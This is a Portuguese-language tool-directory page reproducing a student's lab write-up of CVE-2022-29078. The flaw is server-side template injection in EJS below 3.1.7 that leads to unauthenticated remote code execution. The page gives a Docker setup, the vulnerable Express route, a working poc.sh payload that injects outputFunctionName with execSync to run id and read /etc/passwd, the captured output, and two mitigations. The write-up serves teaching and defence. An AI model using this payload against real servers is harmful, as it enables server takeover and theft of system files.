Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-29078 — PoC baseado em Docker para CVE-2022-29078: SSTI do EJS levando a execução remota de código não autenticada via injeção de outputFunctionName. Inclui etapas de reprodução e duas estratégias de mitigação. | Kitploit
Ferramentas/GitHubGitHub/taka3636/cve-2022-29078
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubtaka3636/cve-2022-29078

CVE-2022-29078

PoC baseado em Docker para CVE-2022-29078: SSTI do EJS levando a execução remota de código não autenticada via injeção de outputFunctionName. Inclui etapas de reprodução e duas estratégias de mitigação.

Ver Repositório
1há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-29078 | EJS SSTI → RCE

Escola White Hat 4ª turma (classe 32) - 우상범 (@taka3636)


Resumo

A vulnerabilidade de Server-Side Template Injection (SSTI) no EJS < 3.1.7 (CVE-2022-29078) permite executar comandos arbitrários no servidor remotamente (RCE) sem autenticação. Este documento configura um ambiente vulnerável com Docker, reproduz o RCE com um PoC e valida duas medidas de mitigação (atualização da biblioteca · passagem segura de entrada).


Introdução ao EJS

EJS (Embedded JavaScript templates) é um motor de templates amplamente utilizado no ecossistema Node.js. Ele insere JavaScript dentro de HTML usando tags <% %>, como em <h1>Hello <%= id %></h1>, para criar páginas dinâmicas. Internamente, EJS compila a string do template em uma função JavaScript e a executa para gerar o HTML final. Ou seja, é um gerador de código que "transforma texto (template) em código executável (função)", e essa propriedade é o pano de fundo fundamental desta vulnerabilidade.


Introdução ao CVE-2022-29078

EJS < 3.1.7 insere o valor da opção de renderização outputFunctionName no código fonte da função compilada sem validação. Se a aplicação passar a entrada do usuário diretamente como opções de renderização, um atacante pode contaminar essa opção e executar código arbitrário (RCE) no servidor. É possível comprometer completamente o servidor remotamente sem autenticação, tornando a gravidade muito alta.

  • Versões afetadas: EJS < 3.1.7
  • Tipo: Server-Side Template Injection (SSTI) → Remote Code Execution
  • Referência: NVD CVE-2022-29078

Configuração do ambiente

root@kitploit:~
EJS/CVE-2022-29078/
├── docker-compose.yml     # 127.0.0.1 바인딩(격리)
├── Dockerfile             # node:18.20.4 (버전 고정)
├── app/
│   ├── server.js          # 취약 Express 앱
│   ├── package.json       # ejs 3.1.6 정확 고정
│   └── views/page.ejs
├── poc.sh                 # PoC 실행 스크립트
└── 1.png ~ 8.png          # 스크린샷
  • Runtime: Node.js 18.20.4 fixo
  • Biblioteca vulnerável: ejs 3.1.6 (fixado exatamente sem símbolos — se usar ^/~, a versão corrigida é instalada e não é possível reproduzir)
  • Framework web: express 4.18.2
  • Sem dependência de imagem personalizada externa, é concluído com um único docker compose up -d --build.


Condições de vulnerabilidade

O ataque é possível quando ambas as condições abaixo são verdadeiras.

  1. Falha da biblioteca: ejs < 3.1.7 insere outputFunctionName no código sem validação.
  2. Uso inseguro: a aplicação passa a entrada do usuário integralmente como opções de renderização.
root@kitploit:~
// app/server.js — ponto vulnerável
app.get('/page', (req, res) => {
  res.render('page', req.query);   // passa req.query inteiro como opções de renderização
});

No res.render('page', req.query), o Express passa a entrada do usuário (req.query) integralmente como opções de renderização para o EJS. Nesse momento, o parser qs analisa a notação de colchetes como settings[view options][outputFunctionName] em um objeto aninhado, e esse valor é mesclado na opção de compilação do EJS outputFunctionName. Ou seja, o código (função) que o usuário plantou no lugar da opção é anexado à opção e passado junto para o EJS. O EJS insere esse valor antes da função compilada da seguinte forma.

root@kitploit:~
var <outputFunctionName값> = __append;

Se o valor for normal, é inofensivo como var myOut = __append;, mas se o valor contiver um ponto e vírgula para quebrar a sentença e inserir código, esse código será executado literalmente quando a função compilada for executada. Nesse lugar, pode-se colocar execSync(...) para ler um arquivo específico ou executar comandos do sistema.


Procedimento de reprodução

Pré-requisito: Docker + Docker Compose instalados, conexão com internet durante a construção.

root@kitploit:~
# 1) Clone e navegue até a pasta
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078

# 2) Construa e inicie
docker compose up -d --build
docker compose ps

# 3) Verifique o funcionamento normal
curl "http://127.0.0.1:3000/page?id=world"     # -> <h1>Hello world</h1>

# 4) Execute o PoC
bash poc.sh

# 5) Limpeza
docker compose down


Código PoC

poc.sh — injeção da opção outputFunctionName para executar três comandos no servidor e recuperar os resultados. [1] id (quem executou), [2] /etc/passwd (leitura de arquivo arbitrário), [3] uname (local da execução).

root@kitploit:~
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"

run() {   # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
  curl -g -s -o /dev/null \
    "${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
  docker compose exec -T vuln-ejs cat /tmp/out
}

echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
  • curl -g: obrigatório para evitar que os colchetes da URL sejam interpretados como glob (caso contrário, curl: (3) bad range).
  • Codificação: espaço %20, redirecionamento > %3E.

Resultados da execução

Resultado da execução do poc.sh. Uma requisição normal (id=world) retorna apenas Hello world, mas os comandos injetados via injeção de outputFunctionName são executados no servidor e suas saídas são recuperadas.

  • [1] id → uid=0(root) gid=0(root) : O comando injetado foi executado com privilégios de root.
  • [2] /etc/passwd → O conteúdo do arquivo de contas do sistema é retornado na íntegra: é possível ler arquivos arbitrários do servidor (violação de confidencialidade).
  • [3] uname → O nome do host é 326f6f1b04b3 (ID do container), diferente do nome do host da VM (ubuntu-QEMU-Virtual-Machine): isso prova que o comando foi executado dentro do container, não no host. Ou seja, o privilégio root não se deve ao sudo, mas ao processo do servidor vulnerável (node no container = root por padrão).

Com uma única requisição remota sem autenticação, é possível executar comandos como root + ler arquivos arbitrários = CVE-2022-29078.


Medidas de mitigação

Mitigação 1 — Atualização da biblioteca (correção fundamental)

Atualize o ejs no package.json para 3.1.7 ou superior. O 3.1.7+ valida outputFunctionName com a regex /^[a-zA-Z_$][0-9a-zA-Z_$]*$/, rejeitando ponto e vírgula e outros caracteres não identificadores, bloqueando o mesmo ataque antes da execução do código.

root@kitploit:~
Error: outputFunctionName is not a valid JS identifier.

Mitigação 2 — Passagem segura de entrada (defesa da aplicação)

Mesmo na versão vulnerável (3.1.6), se a entrada do usuário não for passada integralmente, mas apenas os valores necessários, o caminho de mesclagem settings[view options] desaparece, impossibilitando a contaminação da opção. A funcionalidade normal é mantida.

root@kitploit:~
// Antes (vulnerável)
res.render('page', req.query);
// Depois (seguro)
res.render('page', { id: req.query.id });

Recomendação: Aplique ambas a atualização da biblioteca (correção fundamental) e a passagem mínima de entrada do usuário (defesa em profundidade). Além disso, executar o container como um usuário não-root pode reduzir o impacto em caso de RCE.


Referências

  • NVD - CVE-2022-29078
  • EJS GitHub - mde/ejs
Baixar ferramenta